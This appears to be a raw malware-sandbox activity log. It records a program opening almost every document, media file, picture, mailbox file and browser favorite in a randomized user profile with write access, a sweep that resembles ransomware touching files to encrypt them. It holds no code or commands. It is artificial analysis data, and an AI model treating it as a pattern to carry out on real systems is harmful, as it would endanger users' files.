Create C:\Users\5p5NrGJn0jS HALPmcxz\Searches\Indexed Locations.search-ms desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\EVN7NAajpgvxg30uiR.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\flxbNwcWgV0n4kR.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\Pea4H1Vnl0zHM1NrtA.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\cU4HnKjcRa.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\wn06NIgti1n58uLcV.pptx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\_GY pjw8nLR.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\My Shapes\Favorites.vss desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Outlook Files\voeimd@djhreuu.uhd.pst desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\0yRPUT6TDREHeWByR4rP.docx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZYI0v6_buDm-d9O.odp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\Kv9O7qYcn-HRyPYLby.xls desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\nbee0Jd.doc desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\o5D3Phk7JF5o4RP.xls desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\pty5yFAIeFtI0nYC_b.odp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\tHX0zgZ7OA49IM.xlsx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\x6ElzgARF.doc desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Suggested Sites.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Web Slice Gallery.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE Add-on site.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE site on Microsoft.com.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Home.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Work.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft Store.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Autos.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Entertainment.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Money.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Sports.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSNBC News.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Get Windows Live.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Gallery.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Mail.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Spaces.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\C04Fzue-Z7KVyl_\AgflLmjIeW_yukDHb.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\C04Fzue-Z7KVyl_\I31baSbQKLnY9a9KtlkI.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\C04Fzue-Z7KVyl_\m09KxI.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\C04Fzue-Z7KVyl_\XSe4rk8zSjxa.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\5MaZVY_Q.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\EFI-R.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\tBNdu.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\okHQRb\-kF5YbTX2wf98csgLT.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\okHQRb\8 8rCdOQQ9YjD8.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\okHQRb\T0s4dbG.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\okHQRb\_BtMiEaYBTzY.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\IGq6V3a\bPu-.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\IGq6V3a\j-PQ.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\IGq6V3a\O1JQviCY05VrmDz2PZWI.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\COFUGhxhYso60.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\hGyi-Cb.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\VWPZkESw1UhD8UaF6.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\mwC61ttLhFHO7U8H\E_wjAqxP.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\mwC61ttLhFHO7U8H\mJWwPgUE-XZJ6.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\mwC61ttLhFHO7U8H\Z0-FTm5ZigO3Mdrkmc.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\qHy Bq3sd4UO\CSSjndh.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\qHy Bq3sd4UO\DRyCH41NNCvFGT-d.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\qHy Bq3sd4UO\g5F7NFHxCw.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\IwZE-JTO3c1j.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\msa0S6oHJtcg43Ia1l2.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\qGVWc3j9gq7bBp.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\syGCE5H.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\wvkOd8OJSRo.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\_bCx53v.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\K_xyj0OLm\1yz_dH-h0QVU25Eq5YS.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\K_xyj0OLm\2Z0X Os.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\K_xyj0OLm\HzNuu.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\ch1D7KyT.ppt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\pRF0TOZ.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\x4_ajppJoTbLYJ.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\My Shapes\_private\folder.ico desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\18tCh2fbWO9uqJ4SH0r\953NwS YORsJs8ezCX.ppt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\18tCh2fbWO9uqJ4SH0r\e90mXCi.pdf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\18tCh2fbWO9uqJ4SH0r\vbjCBCCaRqTDVu75M.xls desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\EFxNu5CIh50zqG.ots desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\evs-mu2XZmDDq_3I.ods desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\hHu6n-WhXpQLeR.ods desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\mIvI FYocehkz.odp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\NiKTO1C7 RIwfLd.odp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\vnscV1A42YE34G.ods desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\Ck3vXIHItmOFDrYXb.csv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\lLiekJL.pdf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\QRZRxkH5oTlCYK.csv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\R03C.xlsx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\vklleNEl.odp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\5Y-dBAy6zx3RY.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\C91c9XEQcDJnxWtX_.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\M1OCBBo6An.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\nmmwY.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\aKq_c.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\d Ca_C.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\KGDQexIoJdVjE0xEfmf.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\o8TP1cQC154b0u.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\Ub2krgPHTK7\J_UJZySwifcC8f7CH.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\Ub2krgPHTK7\TZ8kXrTE.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\Ub2krgPHTK7\XZFs9ja.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\cplLZefa0txn\4qhj.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\JI_LbGFKzAkfRhFEM\K-bFjS1F.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\JI_LbGFKzAkfRhFEM\TRNOm7PeOz.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\JI_LbGFKzAkfRhFEM\xgFCgANlk.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\kC1ICfT8pFYQG\a09hCY1lv p_IZ98.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\kC1ICfT8pFYQG\a51sNIVKR E3Ge8fV.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\kC1ICfT8pFYQG\A8IAMc.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\kC1ICfT8pFYQG\CabPSqWIP4Gw.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\kC1ICfT8pFYQG\IlZLf8gCsW02mWS.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\kC1ICfT8pFYQG\qcM60n59qzNSf.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\kC1ICfT8pFYQG\v-hwxlt-kD.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\njXXDQ38ulMrkg_7vJ\29qIuqRP.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\njXXDQ38ulMrkg_7vJ\BTq8-J4.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\mwC61ttLhFHO7U8H\W20eWw_7BDOqTilgo1fv\1L3e.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\mwC61ttLhFHO7U8H\W20eWw_7BDOqTilgo1fv\5fx9fx.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\mwC61ttLhFHO7U8H\W20eWw_7BDOqTilgo1fv\C1kvrYt.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
